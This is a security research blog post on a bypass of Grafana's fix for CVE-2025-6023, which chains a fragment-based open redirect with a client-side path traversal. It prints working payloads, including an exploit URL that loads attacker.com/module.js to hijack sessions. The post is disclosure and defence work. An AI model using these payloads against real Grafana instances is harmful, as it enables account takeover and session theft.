A new bypass for a previous CVE in Grafana that circumvents the security fix implemented for CVE-2025-6023, an open redirect that could result in XSS and account takeover. This bypass was originally discovered by @msanft and presented as a challenge during Hack.lu CTF 2025. I solved the challenge while playing with xSTF, and our research team quickly validated the vulnerability across our customer base on October 20 (24 days before the patch), enabling rapid remediation even before the public advisory was released. Please note that a new CVE has not been issued at the time of writing.
The exploit leverages two distinct bypasses that, when chained together, allow an attacker to achieve a full account takeover by loading a script from an external URL.
Client-Side Path Traversal (Bypass 2): An second bypass in client-side validation allows an attacker to force a victim's browser to load a dashboard script in /dashboard/script/ from an external URL via a path traversal to the /user/auth-tokens/rotate endpoint.
Bypass 1: Server-Side Open Redirect:
This bypass is the core of this vulnerability. It exploits a flawed validation check in the server-side redirect logic in the login.go#L53 - ValidateRedirectTo() function.
The Root Cause:
Go's url.Parse() function separates a URL's path from its fragment (#), but the validation code only checks the path. The malicious payload is hidden in the fragment, which is ignored by the server-side check but executed by the victim's browser.
Proof of Concept:
An authenticated request to the rotate endpoint with this payload: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\/attacker.com HTTP/1.1 results in a 302 redirect that is a valid open redirect to attacker.com
Bypass 2: Client-Side Path Traversal
At this point, we only had an open redirect. How could we leverage it to achieve XSS? This second bypass can be used to initiate the attack, forcing the victim's browser to load a script from an arbitrary endpoint in Grafana, such as user/auth-tokens/rotate that will then redirect to the external domain. The vulnerability exists in the sanitize.ts#L147 - validatePath() function:
The Root Cause:
The function performs all its security checks on a transformed string (originalDecoded / cleaned) but returns the original unmodifiedd path string.
Proof of Concept:
An app with CORS properly configured is needed, such as the following flask app:
And here’s how the two bypasses are combined to steal a user's session.
https://<grafana-instance>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
We quickly generated a detection module and notified our customer base to update Grafana as soon as the patch became available. This urgency is especially relevant as shown by recent 2024 threat analysis from Mandiant. Their Time-to-Exploit (TTE) metric, which tracks the average number of days between a patch release and active exploitation, has dropped to -1 days for the first time.
This negative value is a critical shift, indicating that on average, zero-day vulnerabilities are now being actively exploited in the wild before a patch is even available. This trend effectively eliminates any grace period for defense, making proactive discovery and rapid, preemptive remediation more essential than ever.
We would like to thank @msanft for the original discovery of this vulnerability and for creating an excellent CTF challenge. Our rapid response enabled our customers to patch their systems ahead of the public advisory, demonstrating the value of security research and automatic module generation.
Until next time,
0xacb & the Ethiack Research team